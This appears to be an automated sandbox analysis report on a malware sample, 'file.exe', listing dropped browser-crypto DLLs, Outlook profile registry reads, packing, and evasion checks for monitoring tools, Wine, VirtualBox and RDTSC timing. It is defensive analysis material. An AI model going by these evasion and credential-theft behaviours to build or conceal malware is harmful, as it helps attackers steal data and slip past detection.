Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1821184 > 1048576

Source: file.exe

Static PE information: Raw size of toxgxdkd is bigger than: 0x100000 < 0x196800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2448321875.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2448321875.000000006CD0F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.9f0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;toxgxdkd:EW;afiwspdn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;toxgxdkd:EW;afiwspdn:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A09860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00A09860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c3dbd should be: 0x1c49c5

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: toxgxdkd
Source: file.exe	Static PE information: section name: afiwspdn
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E470F5 push 3F4D5E06h; mov dword ptr [esp], edx	0_2_00E47136
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA08FD push 0795B4A1h; mov dword ptr [esp], edx	0_2_00EA0905
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D098FE push eax; mov dword ptr [esp], edi	0_2_00D09929
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D098FE push edi; mov dword ptr [esp], ecx	0_2_00D099D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D098FE push 428B52DAh; mov dword ptr [esp], ecx	0_2_00D09A3C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E2E888 push ebx; mov dword ptr [esp], edx	0_2_00E2E8CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7D0A4 push ebx; mov dword ptr [esp], 7F9F7BDDh	0_2_00D7D0C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7D0A4 push edx; mov dword ptr [esp], eax	0_2_00D7D131
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7D0A4 push ecx; mov dword ptr [esp], eax	0_2_00D7D137
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7D0A4 push edx; mov dword ptr [esp], 7D7F7AF2h	0_2_00D7D16E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7D0A4 push 105A986Fh; mov dword ptr [esp], ebp	0_2_00D7D1CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E3886F push ebp; mov dword ptr [esp], eax	0_2_00E38879
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push ebx; mov dword ptr [esp], 6B20FE8Eh	0_2_00DBD075
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push eax; mov dword ptr [esp], ebp	0_2_00DBD103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push esi; mov dword ptr [esp], ebx	0_2_00DBD121
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push eax; mov dword ptr [esp], edi	0_2_00DBD1AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push edx; mov dword ptr [esp], 00000001h	0_2_00DBD2EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push 01A2D801h; mov dword ptr [esp], ebp	0_2_00DBD316
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push 63AADFFAh; mov dword ptr [esp], ebx	0_2_00DBD347
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push ecx; mov dword ptr [esp], ebx	0_2_00DBD381
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push esi; mov dword ptr [esp], 3FF1D708h	0_2_00DBD385
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push esi; mov dword ptr [esp], 7E1B2D2Eh	0_2_00DBD42C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push ebx; mov dword ptr [esp], ecx	0_2_00DBD468
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push ebp; mov dword ptr [esp], ecx	0_2_00DBD4B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push edx; mov dword ptr [esp], 3FBBB224h	0_2_00DBD4B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push esi; mov dword ptr [esp], edx	0_2_00DBD4F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push ebx; mov dword ptr [esp], 1FEDC9E9h	0_2_00DBD52E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push 3E2A0EC0h; mov dword ptr [esp], eax	0_2_00DBD551
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push 0F99D64Dh; mov dword ptr [esp], esi	0_2_00DBD584
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push ecx; mov dword ptr [esp], eax	0_2_00DBD5D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBD04B push ecx; mov dword ptr [esp], edx	0_2_00DBD5D4

Source: file.exe

Static PE information: section name: toxgxdkd entropy: 7.95303135260071

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00A09860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-48343

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C520A1 second address: C520A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C520A5 second address: C520BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743483EA03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC5CF6 second address: DC5D14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F743477F928h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC5D14 second address: DC5D18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC5D18 second address: DC5D3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F743477F924h 0x0000000d jng 00007F743477F916h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC50DA second address: DC50F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F743483E9FFh 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC50F2 second address: DC50F8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC50F8 second address: DC5102 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F743483E9F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC5102 second address: DC5106 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC5288 second address: DC528D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC528D second address: DC52AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F743477F927h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC82BD second address: DC835F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F743483E9F8h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 jmp 00007F743483E9FBh 0x00000027 push 00000000h 0x00000029 push F44048D1h 0x0000002e jo 00007F743483EA12h 0x00000034 jns 00007F743483EA0Ch 0x0000003a add dword ptr [esp], 0BBFB7AFh 0x00000041 jp 00007F743483E9FCh 0x00000047 sub esi, 6F925492h 0x0000004d push 00000003h 0x0000004f push esi 0x00000050 xor ecx, dword ptr [ebp+122D385Bh] 0x00000056 pop esi 0x00000057 push 00000000h 0x00000059 jmp 00007F743483E9FEh 0x0000005e push 00000003h 0x00000060 mov dword ptr [ebp+122D2351h], esi 0x00000066 call 00007F743483E9F9h 0x0000006b jl 00007F743483EA04h 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC835F second address: DC8363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC8363 second address: DC83A1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F743483E9FBh 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 jmp 00007F743483E9FEh 0x00000016 pop eax 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007F743483E9FDh 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC83A1 second address: DC83A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC83A5 second address: DC8412 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F743483E9F6h 0x0000000d jmp 00007F743483EA00h 0x00000012 popad 0x00000013 popad 0x00000014 pop eax 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F743483E9F8h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f movsx esi, si 0x00000032 jo 00007F743483E9FCh 0x00000038 mov dword ptr [ebp+122D1E3Ah], eax 0x0000003e lea ebx, dword ptr [ebp+1244A1AAh] 0x00000044 or dword ptr [ebp+122D1F6Eh], esi 0x0000004a xchg eax, ebx 0x0000004b push eax 0x0000004c push edx 0x0000004d jne 00007F743483E9FCh 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC8412 second address: DC841C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F743477F916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC84B3 second address: DC84B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC84B7 second address: DC853B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jne 00007F743477F916h 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F743477F91Ch 0x00000015 nop 0x00000016 mov ecx, dword ptr [ebp+122D374Fh] 0x0000001c xor edx, 3D5095C0h 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007F743477F918h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 0000001Ch 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e jnl 00007F743477F919h 0x00000044 jmp 00007F743477F928h 0x00000049 add esi, dword ptr [ebp+122D3627h] 0x0000004f push 5CA1FA2Eh 0x00000054 push edi 0x00000055 push eax 0x00000056 push edx 0x00000057 jng 00007F743477F916h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC86AD second address: DC86B3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC86B3 second address: DC86BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F743477F916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5767 second address: DE5775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5775 second address: DE577F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE577F second address: DE5788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE58E1 second address: DE58EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F743477F916h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5A2E second address: DE5A4F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F743483EA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5A4F second address: DE5A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE5B76 second address: DE5BAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743483EA06h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F743483E9F8h 0x00000013 push edx 0x00000014 pop edx 0x00000015 jns 00007F743483E9FEh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE6175 second address: DE6179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE6179 second address: DE6183 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F743483E9F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDD61B second address: DDD61F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE7159 second address: DE715F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEAC58 second address: DEAC5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB291D second address: DB2930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F743483E9F6h 0x0000000d jne 00007F743483E9F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1E24 second address: DF1E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F743477F91Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1E34 second address: DF1E44 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 jne 00007F743483E9F6h 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1E44 second address: DF1E4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1E4A second address: DF1E4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF210B second address: DF213F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F743477F923h 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F743477F927h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF22A4 second address: DF22BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnl 00007F743483E9FCh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF22BB second address: DF22BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF286B second address: DF2870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8B8A second address: DF8BBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F743477F929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F743477F925h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8BBF second address: DF8BCF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push esi 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8BCF second address: DF8BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8BDD second address: DF8BF7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jc 00007F743483E9F6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 ja 00007F743483EA04h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8BF7 second address: DF8BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8EFB second address: DF8EFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF91A3 second address: DF91A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9373 second address: DF9379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9379 second address: DF9384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9384 second address: DF938A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
